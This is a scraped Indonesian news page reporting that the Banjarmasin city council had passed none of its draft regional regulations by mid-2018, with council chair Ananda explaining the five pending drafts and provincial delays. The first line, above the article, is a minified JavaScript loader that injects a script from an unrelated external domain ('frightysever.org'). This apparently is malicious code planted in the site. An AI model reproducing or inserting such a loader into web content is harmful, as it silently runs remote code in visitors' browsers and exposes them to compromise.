(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Duh, Belum Satu Pun Perda Berhasil Digolkan DPRD Banjarmasin


BANJARMASIN, Sejumlah Rancangan Peraturan Daerah (Rapaerda) di Banjarmasin hingga pertengahan 2018 ini ternyata tak satu pun berhasil digolkan oleh DPRD Banjarmasin. Ketua DPRD Hj Ananda mengakui, pihaknya masih terhutang penyelesaian lima Raperda dari kurun waktu 2017 hingga tahun ini.

“Sudah saya inventalisir Raperda yang belum kita selesaikan pembahasannya untuk disahkan menjadi Perda itu ada lima, dua Raperda di tahun 2017 dan tiga Raperda di tahun ini,” ujarnya.

Terkait banyaknya PR yang dihadapi, Ananda selaku unsur pimpinan sudah menyurati para ketua panitia khusus (Pansus) untuk segeranya menyelesaikannya dalam waktu dekat ini. “Jadi saya minta sekretaris dewan untuk menyerahkan surat tersebut kepada Pansus lima Raperda itu harus ada tanda terimanya, agar jelas menjadi perhatian mereka,” jelasnya.

Dia menginginkan ada penjelasan yang lengkap hingga tertundanya Raperda itu disahkan menjadi Perda, di mana waktunya terus diulur.

“Kendalanya di mana, harus kita pecahkan bersama, sehingga tidak menjadi Raperda yang sia-sia, dimana akhirnya tidak ada tindaklanjutnya,” ujar Ananda.

Ananda mengakui, hingga pertengahan tahun ini belum ada satu pun Raperda yang sudah disahkan menjadi Perda, salah satu sebabnya konsultasi di tingkat provensi belum selesai. “Kita tidak tahu juga seperti apa prosesnya di tingkat provinsi itu, tapi kita sangka Pemprov berhati-hati menyetujui sebuah Raperda untuk disahkan menjadi Perda agar tidak menyalahi aturan diatasnya,” kata Ananda.

Sebagaimana diketahui, prolegda DPRD Kota Banjarmasin untuk tahun 2018 ini ada sebanyak 20 Raperda, di mana ada dua tambahan Raperda diajukan pemerintah kota kembali yang sudah diparipurnakan pekan tadi untuk dibahas ketingkat selanjutnya.

Dua Raperda inisiatif Pemkot tersebut adalah Raperda rencana pencegahan dan peningkatan kualitas perumahan kumuh dan pemukiman di Kota Banjarmasin dan Raperda revisi Peraturan Daerah (Perda) nomor 23 tahun 2010 tentang pedoman penyelenggaraan lembaga kemsyarakatan Rukun Tetangga (RT) dan Rukun Warga (RW) Kota Banjarmasin.

“Kita harap Pansus kedua Raperda ini secepatnya menyelesaikannya nanti, sebab kedua Raperda ini dinyatakan Pemkot sangat untuk disahkan menjadi Perda,” pungkasnya.(ammar/ant)

Reporter:Ammar/ant
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

17 menit ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

2 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

4 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

5 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

6 jam ago

Kafilah HSU Paling Awal Tampil saat Pawai Ta’aruf MTQ

KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More

6 jam ago

This website uses cookies.